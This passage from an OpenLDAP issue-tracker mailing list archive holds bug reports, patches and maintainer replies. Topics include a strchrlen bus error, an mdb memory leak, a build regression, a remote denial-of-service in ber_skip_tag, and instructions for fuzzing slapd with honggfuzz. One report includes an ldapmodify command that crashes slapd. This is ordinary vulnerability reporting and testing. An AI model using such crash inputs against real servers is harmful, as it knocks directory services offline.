../../../../servers/slapd/main.c:410 > ========================================================= > > -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

(ITS#9128) Fix for slapd-mdb start Bus Error in strchrlen
by requate＠univention.de 03 Dec '19

03 Dec '19

Full_Name: Arvid Requate Version: 2.4.45 OS: UCS / Debian Linux URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (92.210.162.23) In our CI tests we observed a situation where the slapd-mdb failed to start, terminating due to a "bus error" and slapcat showed the same behaviour. I turned out that the data.mdb file had an "Attribute;option" string right at the end of it and strchrlen tried to access a memory location past the end of the page while scanning for another ';', see stack trace down below. This patch fixed the issue for us: ========================================================= Author: Arvid Requate <requate(a)univention.de> Date: Tue Dec 3 23:33:10 2019 +0100 Avoid bus error with slapd-mdb/slapcat diff --git a/servers/slapd/ad.c b/servers/slapd/ad.c index 801f18d34..31a94a725 100644 --- a/servers/slapd/ad.c +++ b/servers/slapd/ad.c @@ -145,7 +145,7 @@ static char *strchrlen( { const char *p; - for( p=beg; *p && p < end; p++ ) { + for( p=beg; p < end && *p; p++ ) { if( *p == ch ) { *len = p - beg; return (char *) p; ========================================================= This is the stack trace: ========================================================= $ gdb slapcat bt #0 0x00005555555d0dc4 in strchrlen (len=<synthetic pointer>, ch=59 ';', end=0x7fff6bd62000 <error: Cannot access memory at address 0x7fff6bd62000>, beg=0x7fff6bd61ff5 "entry-de-de"<error: Cannot access memory at address 0x7fff6bd62000>) at ../../../../servers/slapd/ad.c:148 #1 slap_bv2ad (bv=bv@entry=0x7fffffffdbe0, ad=ad@entry=0x7fffffffdbb8, text=text@entry=0x7fffffffdbb0) at ../../../../servers/slapd/ad.c:224 #2 0x00007fffee70e043 in mdb_ad_read (mdb=mdb@entry=0x555555a58240, txn=<optimized out>) at ../../../../../servers/slapd/back-mdb/attr.c:573 #3 0x00007fffee6fe4ad in mdb_db_open (be=0x7fffffffdd90, cr=0x7fffffffdf80) at ../../../../../servers/slapd/back-mdb/init.c:263 #4 0x00005555555fa601 in over_db_open (be=<optimized out>, cr=0x7fffffffdf80) at ../../../../servers/slapd/backover.c:149 #5 0x000055555559a317 in backend_startup_one (be=be@entry=0x555555a580a0, cr=cr@entry=0x7fffffffdf80) at ../../../../servers/slapd/backend.c:224 #6 0x000055555559a4cb in backend_startup (be=be@entry=0x555555a580a0) at ../../../../servers/slapd/backend.c:278 #7 0x00005555555bc0e1 in slap_startup (be=0x555555a580a0) at ../../../../servers/slapd/init.c:219 #8 0x00005555555ffc84 in slap_tool_init (progname=progname@entry=0x55555561d2c1 "slapcat", tool=tool@entry=2, argc=<optimized out>, argv=<optimized out>) at ../../../../servers/slapd/slapcommon.c:908 #9 0x00005555555fec90 in slapcat (argc=<optimized out>, argv=<optimized out>) at ../../../../servers/slapd/slapcat.c:53 #10 0x0000555555570867 in main (argc=1, argv=0x7fffffffe568) at ../../../../servers/slapd/main.c:410 =========================================================

1 0

Re[2]: (ITS#9127) memory leak in mdb_entry_decode()
by grapvar＠gmail.com 02 Dec '19

02 Dec '19

Howard Chu, 02 Dec 2019 18:20 MSK: > > Since this is allocated in thread-local memory, there is no actual leak. It is the op->o_tmpalloc() who is thread-local, however, each op->o_tmpalloc() is eventually complimented by op->o_tmpfree(). But not this one. Why the exception? -- Konstantin Andreev. Konstantin Andreev, 02 Dec 2019 16:57 MSK: > > mdb_entry_decode() leaks allocated [Entry] on error. Here is a fix for the master branch: > > --- a/servers/slapd/back-mdb/id2entry.c > +++ b/servers/slapd/back-mdb/id2entry.c > @@ -1130,8 +1130,12 @@ done: > *e = x; > rc = 0; > > -leave: > +clr_mvc: > if (mvc) > mdb_cursor_close(mvc); > return rc; > +leave: > + /* can't mdb_entry_return() because [Entry *x] init is incomplete */ > + op->o_tmpfree( x, op->o_tmpmemctx ); > + goto clr_mvc; > } > > and for 2.4 branch, if you care: > ...

1 0

Re: (ITS#8629) slapauth segfault with GSSAPI + olcAuthzRegexp using internal LDAP search + ppolicy overlay
by ondra＠mistotebe.net 02 Dec '19

02 Dec '19

A fix for this bug has now been committed to master (b71235ac45fcd702f9c7d188dbfd24e611ce1a93) and should be part of 2.4.49. Regards, -- Ondřej Kuzník Senior Software Engineer Symas Corporation http://www.symas.com Packaged, certified, and supported LDAP solutions powered by OpenLDAP

1 0

Re: (ITS#9127) memory leak in mdb_entry_decode()
by hyc＠symas.com 02 Dec '19

02 Dec '19

grapvar(a)gmail.com wrote: > Full_Name: Konstantin Andreev > Version: 2.4.48 > OS: Solaris 11.3 x64 > URL: > Submission from: (NULL) (79.135.238.172) > > > servers/slapd/back-mdb/id2entry.c`mdb_entry_decode() leaks allocated [Entry] on > error. > Here is a fix for the master branch: Since this is allocated in thread-local memory, there is no actual leak. > --- a/servers/slapd/back-mdb/id2entry.c > +++ b/servers/slapd/back-mdb/id2entry.c > @@ -1130,8 +1130,12 @@ done: > *e = x; > rc = 0; > > -leave: > +clr_mvc: > if (mvc) > mdb_cursor_close(mvc); > return rc; > +leave: > + /* can't mdb_entry_return() because [Entry *x] init is incomplete */ > + op->o_tmpfree( x, op->o_tmpmemctx ); > + goto clr_mvc; > } > > and for 2.4 branch, if you care: > > --- a/servers/slapd/back-mdb/id2entry.c > +++ b/servers/slapd/back-mdb/id2entry.c > @@ -695,12 +695,13 @@ > if (i > mdb->mi_numads) { > rc = mdb_ad_read(mdb, txn); > if (rc) > - return rc; > + goto leave; > if (i > mdb->mi_numads) { > Debug( LDAP_DEBUG_ANY, > "mdb_entry_decode: attribute index %d not recognized\n", > i, 0, 0 ); > - return LDAP_OTHER; > + rc = LDAP_OTHER; > + goto leave; > } > } > a->a_desc = mdb->mi_ads[i]; > @@ -745,7 +746,7 @@ > Debug( LDAP_DEBUG_ANY, > "mdb_entry_decode: attributeType %s value #%d provided more than once\n", > a->a_desc->ad_cname.bv_val, j, 0 ); > - return rc; > + goto leave; > } > } > a->a_next = a+1; > @@ -758,4 +759,8 @@ > 0, 0, 0 ); > *e = x; > return 0; > +leave: > + /* can't mdb_entry_return() because [Entry *x] init is incomplete */ > + op->o_tmpfree( x, op->o_tmpmemctx ); > + return rc; > } > > -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

(ITS#9127) memory leak in mdb_entry_decode()
by grapvar＠gmail.com 02 Dec '19

02 Dec '19

Full_Name: Konstantin Andreev Version: 2.4.48 OS: Solaris 11.3 x64 URL: Submission from: (NULL) (79.135.238.172) servers/slapd/back-mdb/id2entry.c`mdb_entry_decode() leaks allocated [Entry] on error. Here is a fix for the master branch: --- a/servers/slapd/back-mdb/id2entry.c +++ b/servers/slapd/back-mdb/id2entry.c @@ -1130,8 +1130,12 @@ done: *e = x; rc = 0; -leave: +clr_mvc: if (mvc) mdb_cursor_close(mvc); return rc; +leave: + /* can't mdb_entry_return() because [Entry *x] init is incomplete */ + op->o_tmpfree( x, op->o_tmpmemctx ); + goto clr_mvc; } and for 2.4 branch, if you care: --- a/servers/slapd/back-mdb/id2entry.c +++ b/servers/slapd/back-mdb/id2entry.c @@ -695,12 +695,13 @@ if (i > mdb->mi_numads) { rc = mdb_ad_read(mdb, txn); if (rc) - return rc; + goto leave; if (i > mdb->mi_numads) { Debug( LDAP_DEBUG_ANY, "mdb_entry_decode: attribute index %d not recognized\n", i, 0, 0 ); - return LDAP_OTHER; + rc = LDAP_OTHER; + goto leave; } } a->a_desc = mdb->mi_ads[i]; @@ -745,7 +746,7 @@ Debug( LDAP_DEBUG_ANY, "mdb_entry_decode: attributeType %s value #%d provided more than once\n", a->a_desc->ad_cname.bv_val, j, 0 ); - return rc; + goto leave; } } a->a_next = a+1; @@ -758,4 +759,8 @@ 0, 0, 0 ); *e = x; return 0; +leave: + /* can't mdb_entry_return() because [Entry *x] init is incomplete */ + op->o_tmpfree( x, op->o_tmpmemctx ); + return rc; }

1 0

(ITS#9126) add: pwdChangedTime leads to seg fault
by michael＠stroeder.com 02 Dec '19

02 Dec '19

Full_Name: Michael Str.der Version: 2.4.48 / RE24 branch OS: openSUSE Linux URL: Submission from: (NULL) (213.240.182.73) slapd seg faults in case the client sends a modify operation like this (let me know if you need a stack trace): ----------------------------- snip ----------------------------- $ ldapmodify -e relax << EOF dn: uid=test42,ou=Testing,dc=stroeder,dc=de changetype: modify add: pwdChangedTime pwdChangedTime: 19721101000000Z EOF SASL/EXTERNAL authentication started SASL username: gidNumber=100+uidNumber=1000,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "uid=test42,ou=Testing,dc=stroeder,dc=de" ldap_result: Can't contact LDAP server (-1) ----------------------------- snip ----------------------------- Note that this only happens in case the userPassword was *freshly* set via Password Modify ext. op. If the client sends a modify operation with 'replace: pwdChangedTime' this works correctly and after that 'add: pwdChangedTime' is correctly rejected: ----------------------------- snip ----------------------------- $ ldapmodify -e relax << EOF dn: uid=test42,ou=Testing,dc=stroeder,dc=de changetype: modify replace: pwdChangedTime pwdChangedTime: 19721101000000Z EOF SASL/EXTERNAL authentication started SASL username: gidNumber=100+uidNumber=1000,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "uid=test42,ou=Testing,dc=stroeder,dc=de" $ ldapmodify -e relax << EOF dn: uid=test42,ou=Testing,dc=stroeder,dc=de changetype: modify add: pwdChangedTime pwdChangedTime: 19721101000000Z EOF SASL/EXTERNAL authentication started SASL username: gidNumber=100+uidNumber=1000,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "uid=test42,ou=Testing,dc=stroeder,dc=de" ldap_modify: Type or value exists (20) additional info: modify/add: pwdChangedTime: value #0 already exists ----------------------------- snip -----------------------------

1 0

Re: (ITS#7273) Sig abort crash in slapd using GSSAPI auth in slap_listener at daemon.c:1891
by Howard Chu 02 Dec '19

02 Dec '19

Hi, we believe this issue was due to a bug we recently found in Heimdal. Details are in ITS#9112. http://www.openldap.org/its/index.cgi/Build?id=9112 Closing this ITS.

1 0

Re: (ITS#9125) [regression] back-ldap does not respect --without-tls
by hyc＠symas.com 01 Dec '19

01 Dec '19

grapvar(a)gmail.com wrote: > Full_Name: Konstantin Andreev > Version: git/master/1dbf0e9/20191129 > OS: Solaris 11.3 x64 > URL: > Submission from: (NULL) (79.135.238.172) > > > I have configured the tip of the master branch like so: > > | $ ../configure ... --without-tls ... > | ... > | configure: WARNING: TLS data protection not supported! > > and then compilation has failed: Fixed now in git master. > > | cc -g -m64 -I../../../include -I../../../../include -I.. > -I../../../../servers/slapd/back-ldap/.. -DSLAPD_IMPORT -c > ../../../../servers/slapd/back-ldap/config.c -KPIC -DPIC -o .libs/config.o > | "../../../../servers/slapd/back-ldap/config.c", line 87: warning: > initialization type mismatch > | ... > | "../../../../servers/slapd/back-ldap/config.c", line 992: undefined > struct/union member: sb_tls_ctx > | "../../../../servers/slapd/back-ldap/config.c", line 993: improper member use: > sb_tls_ctx > | ... > | cc: acomp failed for ../../../../servers/slapd/back-ldap/config.c > > ... because slapd.h guards sb_tls_* members of the [struct slap_bindconf]: > > | servers/slapd/slap.h: > | typedef struct slap_bindconf { > | ... > | #ifdef HAVE_TLS > | void *sb_tls_ctx; > | char *sb_tls_cert; > | ... > | #endif > | } slap_bindconf; > > but back-ldap/config.c apparently does not respect HAVE_TLS. > > This is a regression, because latest release 2.4.48 compiles without TLS > succeessfully. > > -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

(ITS#9125) [regression] back-ldap does not respect --without-tls
by grapvar＠gmail.com 01 Dec '19

01 Dec '19

Full_Name: Konstantin Andreev Version: git/master/1dbf0e9/20191129 OS: Solaris 11.3 x64 URL: Submission from: (NULL) (79.135.238.172) I have configured the tip of the master branch like so: | $ ../configure ... --without-tls ... | ... | configure: WARNING: TLS data protection not supported! and then compilation has failed: | cc -g -m64 -I../../../include -I../../../../include -I.. -I../../../../servers/slapd/back-ldap/.. -DSLAPD_IMPORT -c ../../../../servers/slapd/back-ldap/config.c -KPIC -DPIC -o .libs/config.o | "../../../../servers/slapd/back-ldap/config.c", line 87: warning: initialization type mismatch | ... | "../../../../servers/slapd/back-ldap/config.c", line 992: undefined struct/union member: sb_tls_ctx | "../../../../servers/slapd/back-ldap/config.c", line 993: improper member use: sb_tls_ctx | ... | cc: acomp failed for ../../../../servers/slapd/back-ldap/config.c ... because slapd.h guards sb_tls_* members of the [struct slap_bindconf]: | servers/slapd/slap.h: | typedef struct slap_bindconf { | ... | #ifdef HAVE_TLS | void *sb_tls_ctx; | char *sb_tls_cert; | ... | #endif | } slap_bindconf; but back-ldap/config.c apparently does not respect HAVE_TLS. This is a regression, because latest release 2.4.48 compiles without TLS succeessfully.

1 0

Re: (ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by michael＠stroeder.com 29 Nov '19

29 Nov '19

On 11/29/19 1:06 PM, ondra(a)mistotebe.net wrote: > thanks for the report, this should be fixed by commit > 1dbf0e9441def3d6dbc0fa8fba3c2e86fa50fa19 in master. Will this fix be added to 2.4.49 and when? Ciao, Michael.

1 0

Re: (ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by stephan＠srlabs.de 29 Nov '19

29 Nov '19

--Apple-Mail-A7F46F22-1F3F-4DFD-A65F-8D3B7CB2FC27 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 V2lsbCB1c2UgdGhlIE1ham9yIFNlY3VyaXR5IGlzc3VlIGJ1dHRvbiBuZXh0IHRpbWUuIEFsc28s IEkgd2lsbCB3YWl0IHdpdGggQ1ZFIElEIHJlcXVlc3QgdW50aWwgYSBuZXcgcmVsZWFzZSBpbmNs dWRpbmcgdGhlIGJ1ZyBmaXgoZXMpIGlzIGF2YWlsYWJsZS4gUGxlYXNlIGxldCBtZSBrbm93IHdo ZW4gdGhlIG5ldyByZWxlYXNlIGlzIHJlYWR5Lg0KDQpDaGVlcnMNCiAgICAtU3RlcGhhbg0KDQo+ IE9uIDI5LiBOb3YgMjAxOSwgYXQgMTY6NTAsIEhvd2FyZCBDaHUgPGh5Y0BzeW1hcy5jb20+IHdy b3RlOg0KPiANCj4g77u/c3RlcGhhbkBzcmxhYnMuZGUgd3JvdGU6DQo+PiBOb3RlOiBBZnRlciBD eXJ1cyBTQVNMIGZpeGVzIHRoZSBvdGhlciBpc3N1ZSAjOTEyMywgSSB3aWxsIHJlcXVlc3QgQ1ZF IGlkPQ0KPj4gJ3MgZm9yIHRoZSB0d28gYnVncyBhbmQgc2hhcmUgdGhlbSBhcyBhIHJlZmVyZW5j ZSBpbiB0aGUgcmVsZXZhbnQgaXNzdWVzID0NCj4+ICgjOTEyMywgIzkxMjQpDQo+IA0KPiBVc3Vh bCBwcmFjdGljZSBmb3IgQ1ZFcyBpcyBub3QgdG8gbWFrZSB0aGVtIHB1YmxpYyB1bnRpbCBmaXhl cyBhcmUgcmVsZWFzZWQuIEluIHRoZQ0KPiBmdXR1cmUsIHlvdSBzaG91bGQgdGljayB0aGUgTWFq b3IgU2VjdXJpdHkgSXNzdWUgYnV0dG9uIGZvciBwb3RlbnRpYWwgQ1ZFcyBzbyB0aGV5DQo+IGNh biBiZSBoYW5kbGVkIHByaXZhdGVseSBiZWZvcmUgcmVsZWFzZS4NCj4gDQo+IC0tIA0KPiAgLS0g SG93YXJkIENodQ0KPiAgQ1RPLCBTeW1hcyBDb3JwLiAgICAgICAgICAgaHR0cDovL3d3dy5zeW1h cy5jb20NCj4gIERpcmVjdG9yLCBIaWdobGFuZCBTdW4gICAgIGh0dHA6Ly9oaWdobGFuZHN1bi5j b20vaHljLw0KPiAgQ2hpZWYgQXJjaGl0ZWN0LCBPcGVuTERBUCAgaHR0cDovL3d3dy5vcGVubGRh cC5vcmcvcHJvamVjdC8NCg== --Apple-Mail-A7F46F22-1F3F-4DFD-A65F-8D3B7CB2FC27 Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCCBU8w ggVLMIIEM6ADAgECAhBcqlOYsUipXhgfVtj/CAUVMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYDVQQG EwJJVDEPMA0GA1UECAwGTWlsYW5vMQ8wDQYDVQQHDAZNaWxhbm8xIzAhBgNVBAoMGkFjdGFsaXMg Uy5wLkEuLzAzMzU4NTIwOTY3MSwwKgYDVQQDDCNBY3RhbGlzIENsaWVudCBBdXRoZW50aWNhdGlv biBDQSBHMTAeFw0xOTA1MjQwODA3MTdaFw0yMDA1MjQwODA3MTdaMBwxGjAYBgNVBAMMEXN0ZXBo YW5Ac3JsYWJzLmRlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmniYbaUHSdjBF3/m +2PVN14GEGxOSwHtd8WxH9mUXKEIW4XuImwNz8AoGfFOHc4DA1Tc/an6lONwAeBgj541N7aKSTxR phKnrJrpJarbUR2FM7u7Km7btUTBT9mm6OmympB+vWKaGkjQo2Gr3GRSfVDNLP/n70H8uthbgwPL uBfBt/dLHFrvYBpPtnH2EQqKc1SELSUPAuo9zaO/ohwPb7Sss3vMOOtePGL0lcHjWCbdsstZ/DUz ek9MQ6F+PkGYee3JSzvyXvrADheqUPHtYPd2LPu6hZKbAGjoqRYHVbwITZIzu7QWB4YEXFCdMT6X Ide5lvA0zR7hhb63HKUVewIDAQABo4ICIDCCAhwwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBR+ YPz4bKc9Pdeuk6F5Ao+zdCk79TBLBggrBgEFBQcBAQQ/MD0wOwYIKwYBBQUHMAKGL2h0dHA6Ly9j YWNlcnQuYWN0YWxpcy5pdC9jZXJ0cy9hY3RhbGlzLWF1dGNsaWcxMBwGA1UdEQQVMBOBEXN0ZXBo YW5Ac3JsYWJzLmRlMEcGA1UdIARAMD4wPAYGK4EfARgBMDIwMAYIKwYBBQUHAgEWJGh0dHBzOi8v d3d3LmFjdGFsaXMuaXQvYXJlYS1kb3dubG9hZDAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUH AwQwgegGA1UdHwSB4DCB3TCBm6CBmKCBlYaBkmxkYXA6Ly9sZGFwMDUuYWN0YWxpcy5pdC9jbiUz ZEFjdGFsaXMlMjBDbGllbnQlMjBBdXRoZW50aWNhdGlvbiUyMENBJTIwRzEsbyUzZEFjdGFsaXMl MjBTLnAuQS4vMDMzNTg1MjA5NjcsYyUzZElUP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q7Ymlu YXJ5MD2gO6A5hjdodHRwOi8vY3JsMDUuYWN0YWxpcy5pdC9SZXBvc2l0b3J5L0FVVEhDTC1HMS9n ZXRMYXN0Q1JMMB0GA1UdDgQWBBSM25yar8W0HyQ52pQLvwam2PQI1zAOBgNVHQ8BAf8EBAMCBaAw DQYJKoZIhvcNAQELBQADggEBADvK449WtB/GFtNr0TNrTnaNbtSuPz5poGt7nyUbneGYazzxvjBP I0a0A+h/++rHcAuYrCNP+/M0PWU3Jv4IDf6YwHGRQdXN4f9xhCtmBnFtfQ229anlEBvLZv5uEQSz Z6qhvZkqnq9WQ/ofb9q2GGwPfKa+QM4T8QFv5ZmogdXriH3gf4gJ1fbW7Ig33y+xYXr8W4lQ3haA ShGzV/FleypHafb/3ptGWNq3+diGKPxNpyU1BMq904OPAEBMCa5i8+8kYsT8ug+t2uSqboWrutgr /y4bYxBrY56cdfgnLBqoHPEBkg8ONHMgiULphoOelPbOjHD0by5aiDvNToIkdX4xggOIMIIDhAIB ATCBlzCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0GA1UEBwwGTWlsYW5vMSMw IQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoGA1UEAwwjQWN0YWxpcyBDbGll bnQgQXV0aGVudGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W2P8IBRUwDQYJYIZIAWUDBAIBBQCg ggHBMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTE5MTEyOTE2MDgy N1owLwYJKoZIhvcNAQkEMSIEIP3CztgLxmwa4dtGsPyVGK0Uu2reBGyuXGbCQ2TxWLdEMIGoBgkr BgEEAYI3EAQxgZowgZcwgYIxCzAJBgNVBAYTAklUMQ8wDQYDVQQIDAZNaWxhbm8xDzANBgNVBAcM Bk1pbGFubzEjMCEGA1UECgwaQWN0YWxpcyBTLnAuQS4vMDMzNTg1MjA5NjcxLDAqBgNVBAMMI0Fj dGFsaXMgQ2xpZW50IEF1dGhlbnRpY2F0aW9uIENBIEcxAhBcqlOYsUipXhgfVtj/CAUVMIGqBgsq hkiG9w0BCRACCzGBmqCBlzCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0GA1UE BwwGTWlsYW5vMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoGA1UEAwwj QWN0YWxpcyBDbGllbnQgQXV0aGVudGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W2P8IBRUwDQYJ KoZIhvcNAQEBBQAEggEAg+2zoDEhEy/p+izbCvXUOo0c/2HTHZsd6QvvSN/+gW5YNBEavqnvotEK cYYUNmX5RQP6Zyg/rnsK1jatSz1Bvxf7d20+XWK+1+Nt+PGztyreTBRHabdsns/AO3qoHomJ6m84 hA3hvz4k1kacGwTc+aqLy136Qd6cIoGlsVv2kVPdbTabntbm9aG199m24QHU2Sp2JJOEheLkr3+s wFzi3Df53zn9juhUoc/5JwkxvTyyGuWM8FOLYDfxVtjS2hd1KtooyKox4dwahwmn8aMCTU4yjBC4 2Z7GeVZ/RgeoXpzs1aB9je7b4R+XyGQimNRpQWu44y68/j4cu5pl1oiZ8gAAAAAAAA== --Apple-Mail-A7F46F22-1F3F-4DFD-A65F-8D3B7CB2FC27--

1 0

Re: (ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by hyc＠symas.com 29 Nov '19

29 Nov '19

stephan(a)srlabs.de wrote: > Note: After Cyrus SASL fixes the other issue #9123, I will request CVE id= > 's for the two bugs and share them as a reference in the relevant issues = > (#9123, #9124) Usual practice for CVEs is not to make them public until fixes are released. In the future, you should tick the Major Security Issue button for potential CVEs so they can be handled privately before release. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by stephan＠srlabs.de 29 Nov '19

29 Nov '19

--------------ms020107020804030202050609 Content-Type: multipart/mixed; boundary="------------B39567B16EE4CE18797C4253" Content-Language: en-US This is a multi-part message in MIME format. --------------B39567B16EE4CE18797C4253 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Hi Ond=C5=99ej =E2=80=94 The commit 1dbf0e9441def3d6dbc0fa8fba3c2e86fa50fa19 seems to fix the null= pointer dereference issue. Using honggfuzz netdriver module, fuzzing of slapd can be accomplished re= latively easy. You can follow the below instructions to fuzz the server: 1. Install honggfuzz (stable) $ export CC=3Dhfuzz-clang $ export CXX=3Dhfuzz-clang++ 2. Apply attached patch (fuzz.patch) 3. Compile openldap $ ./configure $ make depend $ make $ make install 4. Create testcase directory including seeds (probably you have way bette= r seeds then I have :), I just used ldap payloads extracted from some pca= p's) $ mkdir testcases 5. Start fuzzing $ HFND_TCP_PORT=3D9090 honggfuzz -w ldap.wordlist -f testcases/ -- ./libe= xec/slapd -d 1 -h ldap://127.0.0.1:9090 As you see, the fuzzing setup is relatively simple thanks to honggfuzz. Hope this helps! Note: After Cyrus SASL fixes the other issue #9123, I will request CVE id= 's for the two bugs and share them as a reference in the relevant issues = (#9123, #9124) Cheers =C2=A0=C2=A0=C2=A0 -Stephan On 11/29/19 1:06 PM, Ond=C5=99ej Kuzn=C3=ADk wrote: > On Fri, Nov 29, 2019 at 09:08:15AM +0000, stephan(a)srlabs.de wrote: >> Unauthenticated remote denial-of-service through malformed ldap packet= >> caused by a null pointer dereference in ber_skip_tag function >> (libraries/liblber/decode.c). >> >> =3D=3D4066091=3D=3D by 0x4FD051: cancel_extop (cancel.c:52) > Hi Stephan, > thanks for the report, this should be fixed by commit > 1dbf0e9441def3d6dbc0fa8fba3c2e86fa50fa19 in master. > > Looks like you are fuzzing the server which has been on my to do list > for a while, many thanks for that and I'm looking forward to reading > how you did it. Would you be willing to help the project integrate your= > work in its testing process after you've finished? > > Thanks, > --------------B39567B16EE4CE18797C4253 Content-Type: text/x-patch; charset=UTF-8; name="fuzz.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="fuzz.patch" diff --git a/servers/slapd/main.c b/servers/slapd/main.c index f528aa951..1941ae3de 100644 --- a/servers/slapd/main.c +++ b/servers/slapd/main.c @@ -349,12 +349,14 @@ usage( char *name ) ); } =20 -#ifdef HAVE_NT_SERVICE_MANAGER -void WINAPI ServiceMain( DWORD argc, LPTSTR *argv ) +//#ifdef HAVE_NT_SERVICE_MANAGER +//void WINAPI ServiceMain( DWORD argc, LPTSTR *argv ) +//#else +#ifdef HFND_FUZZING_ENTRY_FUNCTION +HFND_FUZZING_ENTRY_FUNCTION(int argc, char **argv) { #else -int main( int argc, char **argv ) +int main( int argc, char **argv ) { #endif -{ int i, no_detach =3D 0; int rc =3D 1; char *urls =3D NULL; --------------B39567B16EE4CE18797C4253-- --------------ms020107020804030202050609 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCC C5owggVLMIIEM6ADAgECAhBcqlOYsUipXhgfVtj/CAUVMA0GCSqGSIb3DQEBCwUAMIGCMQsw CQYDVQQGEwJJVDEPMA0GA1UECAwGTWlsYW5vMQ8wDQYDVQQHDAZNaWxhbm8xIzAhBgNVBAoM GkFjdGFsaXMgUy5wLkEuLzAzMzU4NTIwOTY3MSwwKgYDVQQDDCNBY3RhbGlzIENsaWVudCBB dXRoZW50aWNhdGlvbiBDQSBHMTAeFw0xOTA1MjQwODA3MTdaFw0yMDA1MjQwODA3MTdaMBwx GjAYBgNVBAMMEXN0ZXBoYW5Ac3JsYWJzLmRlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAmniYbaUHSdjBF3/m+2PVN14GEGxOSwHtd8WxH9mUXKEIW4XuImwNz8AoGfFOHc4D A1Tc/an6lONwAeBgj541N7aKSTxRphKnrJrpJarbUR2FM7u7Km7btUTBT9mm6OmympB+vWKa GkjQo2Gr3GRSfVDNLP/n70H8uthbgwPLuBfBt/dLHFrvYBpPtnH2EQqKc1SELSUPAuo9zaO/ ohwPb7Sss3vMOOtePGL0lcHjWCbdsstZ/DUzek9MQ6F+PkGYee3JSzvyXvrADheqUPHtYPd2 LPu6hZKbAGjoqRYHVbwITZIzu7QWB4YEXFCdMT6XIde5lvA0zR7hhb63HKUVewIDAQABo4IC IDCCAhwwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBR+YPz4bKc9Pdeuk6F5Ao+zdCk79TBL BggrBgEFBQcBAQQ/MD0wOwYIKwYBBQUHMAKGL2h0dHA6Ly9jYWNlcnQuYWN0YWxpcy5pdC9j ZXJ0cy9hY3RhbGlzLWF1dGNsaWcxMBwGA1UdEQQVMBOBEXN0ZXBoYW5Ac3JsYWJzLmRlMEcG A1UdIARAMD4wPAYGK4EfARgBMDIwMAYIKwYBBQUHAgEWJGh0dHBzOi8vd3d3LmFjdGFsaXMu aXQvYXJlYS1kb3dubG9hZDAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwQwgegGA1Ud HwSB4DCB3TCBm6CBmKCBlYaBkmxkYXA6Ly9sZGFwMDUuYWN0YWxpcy5pdC9jbiUzZEFjdGFs aXMlMjBDbGllbnQlMjBBdXRoZW50aWNhdGlvbiUyMENBJTIwRzEsbyUzZEFjdGFsaXMlMjBT LnAuQS4vMDMzNTg1MjA5NjcsYyUzZElUP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q7Ymlu YXJ5MD2gO6A5hjdodHRwOi8vY3JsMDUuYWN0YWxpcy5pdC9SZXBvc2l0b3J5L0FVVEhDTC1H MS9nZXRMYXN0Q1JMMB0GA1UdDgQWBBSM25yar8W0HyQ52pQLvwam2PQI1zAOBgNVHQ8BAf8E BAMCBaAwDQYJKoZIhvcNAQELBQADggEBADvK449WtB/GFtNr0TNrTnaNbtSuPz5poGt7nyUb neGYazzxvjBPI0a0A+h/++rHcAuYrCNP+/M0PWU3Jv4IDf6YwHGRQdXN4f9xhCtmBnFtfQ22 9anlEBvLZv5uEQSzZ6qhvZkqnq9WQ/ofb9q2GGwPfKa+QM4T8QFv5ZmogdXriH3gf4gJ1fbW 7Ig33y+xYXr8W4lQ3haAShGzV/FleypHafb/3ptGWNq3+diGKPxNpyU1BMq904OPAEBMCa5i 8+8kYsT8ug+t2uSqboWrutgr/y4bYxBrY56cdfgnLBqoHPEBkg8ONHMgiULphoOelPbOjHD0 